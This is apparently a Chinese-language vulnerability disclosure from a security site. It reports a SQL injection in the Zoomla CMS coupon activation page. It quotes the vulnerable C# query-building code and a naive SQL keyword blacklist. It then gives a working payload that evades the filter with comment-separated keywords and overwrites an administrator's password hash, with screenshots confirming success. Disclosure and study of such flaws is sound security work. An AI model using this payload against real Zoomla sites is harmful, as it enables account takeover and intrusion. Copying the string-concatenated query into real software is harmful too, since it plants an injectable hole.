### 简要描述：
绕过了那个很简单的防注入。直接可以update管理员密码。
### 详细说明：
没什么太多可说的……就注入。
### 漏洞证明：
注入点：
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx
页面的按钮点击事件：
```
protected void Btn_Click调用了b_Arrive.UpdateState(text);
public bool UpdateState(string ArriveNo)
{
string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'"; ///果断注入
return SqlHelper.ExecuteSql(sqlStr);
}
```
Page_Load方法里面有调用到了一个函数：
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的：
```
public static void StartProcessRequest()
{
try
{
if (HttpContext.Current.Request.QueryString != null)
{
for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++)
{
string getkeys = HttpContext.Current.Request.QueryString.Keys[i];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
if (HttpContext.Current.Request.Form != null)
{
for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++)
{
string getkeys = HttpContext.Current.Request.Form.Keys[j];
if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys]))
{
function.WriteErrMsg("数据不能包含SQL注入代码!");
HttpContext.Current.Response.End();
}
}
}
}
……
}
```
里面还调用到一个DataSecurity.ProcessSqlStr
```
public static bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
Str = Str.ToLower();
try
{
if (Str != "")
{
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
string[] anySqlStr = SqlStr.Split(new char[]
{
'|'
});
string[] array = anySqlStr;
for (int i = 0; i < array.Length; i++)
{
string ss = array[i];
if (Str.IndexOf(ss) >= 0)
{
ReturnValue = false;
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}
```
对于变量
string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare ";
里面的特征字符串，仅仅是做了一个很简单的匹配，很容易绕过，看例子：
在页面正常输入东西：
[<img src="https://images.seebug.org/upload/201310/241728536287683c9a47887c854a9e53f81ae409.png" alt="image019.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/241728536287683c9a47887c854a9e53f81ae409.png)
提交的时候截断一下，改下优惠券编号的代码，如下：
1';update/**/zl_manager set adminpassword='c4ca4238a0b923820dcc509a6f75849b' where adminname='testuser'--
执行前管理密码是这样的：
[<img src="https://images.seebug.org/upload/201310/24173227674b6af055cb4d7c4af413690ce58ee4.png" alt="image023.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/24173227674b6af055cb4d7c4af413690ce58ee4.png)
执行后是这样的：
[<img src="https://images.seebug.org/upload/201310/2417324280f0b6a3dc479db3d543d71f79aec775.png" alt="image027.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/2417324280f0b6a3dc479db3d543d71f79aec775.png)
表明注入成功。
京公网安备 11010502034610号
暂无评论